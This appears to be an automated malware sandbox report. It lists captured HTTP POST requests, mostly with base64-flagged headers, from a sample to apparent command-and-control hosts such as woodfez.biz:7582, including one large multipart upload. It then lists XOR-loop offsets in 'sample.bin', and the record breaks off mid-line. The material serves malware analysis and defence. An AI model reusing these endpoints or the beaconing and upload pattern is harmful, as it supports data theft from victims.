900Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: mascard.biz:8768" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: mascard.biz:8768" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: mascard.biz:8768" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: mascard.biz:8768" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: mascard.biz:8768" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: mascard.biz:8768" Contains base64 string in header "8768" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: mascard.biz:8768" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: mascard.biz:8768" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: mascard.biz:8768" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: mascard.biz:8768" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: mascard.biz:8768" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: mascard.biz:8768" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: mascard.biz:8768" Contains base64 string in header "8768" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: mascard.biz:8768" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: woodfez.biz:7582" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: woodfez.biz:7582" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: woodfez.biz:7582" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: woodfez.biz:7582" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: woodfez.biz:7582" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: woodfez.biz:7582" Contains base64 string in header "7582" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: woodfez.biz:7582" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: woodfez.biz:7582" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: woodfez.biz:7582" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: woodfez.biz:7582" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: woodfez.biz:7582" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: woodfez.biz:7582" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: woodfez.biz:7582" Contains base64 string in header "7582" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: woodfez.biz:7582" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 136Host: eth.llamarpc.com" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 136Host: eth.llamarpc.com" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 136Host: eth.llamarpc.com" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 136Host: eth.llamarpc.com" Contains base64 string in header "application/jsonUser" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 136Host: eth.llamarpc.com" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 136Host: eth.llamarpc.com" Contains base64 string in header "llamarpc" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 136Host: eth.llamarpc.com" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: woodfez.biz:7582" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: woodfez.biz:7582" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: woodfez.biz:7582" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: woodfez.biz:7582" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: woodfez.biz:7582" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: woodfez.biz:7582" Contains base64 string in header "7582" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: woodfez.biz:7582" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=sm2a82ZRe5FqJoe7RRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: woodfez.biz:7582" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=sm2a82ZRe5FqJoe7RRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: woodfez.biz:7582" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=sm2a82ZRe5FqJoe7RRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: woodfez.biz:7582" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=sm2a82ZRe5FqJoe7RRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: woodfez.biz:7582" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=sm2a82ZRe5FqJoe7RRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: woodfez.biz:7582" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=sm2a82ZRe5FqJoe7RRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: woodfez.biz:7582" Contains base64 string in header "1143Host" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=sm2a82ZRe5FqJoe7RRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: woodfez.biz:7582" Contains base64 string in header "7582" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=sm2a82ZRe5FqJoe7RRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: woodfez.biz:7582" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: woodfez.biz:7582" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: woodfez.biz:7582" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: woodfez.biz:7582" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: woodfez.biz:7582" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: woodfez.biz:7582" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: woodfez.biz:7582" Contains base64 string in header "7582" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: woodfez.biz:7582" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=F0wFkDiPPFmXNV5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 789220Host: woodfez.biz:7582" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=F0wFkDiPPFmXNV5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 789220Host: woodfez.biz:7582" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=F0wFkDiPPFmXNV5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 789220Host: woodfez.biz:7582" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=F0wFkDiPPFmXNV5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 789220Host: woodfez.biz:7582" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=F0wFkDiPPFmXNV5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 789220Host: woodfez.biz:7582" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=F0wFkDiPPFmXNV5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 789220Host: woodfez.biz:7582" Contains base64 string in header "7582" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=F0wFkDiPPFmXNV5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 789220Host: woodfez.biz:7582"28:T1dfc,Found XOR loop in file "sample.bin" at offset 109722; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 556021; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 557735; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 560753; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 572974; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 574080; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 861441; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 861504; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 861600; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 861645; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 861683; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 861707; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 874204; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1592330; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1592701; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1650834; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1651197; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2204927; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2205092; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2983920; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3391629; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2982898; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2983282; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3098034; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 212118; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 411229; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 437893; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 438589; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 439230; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1562709; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1576496; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2517831; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2519015; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2520199; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2521383; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 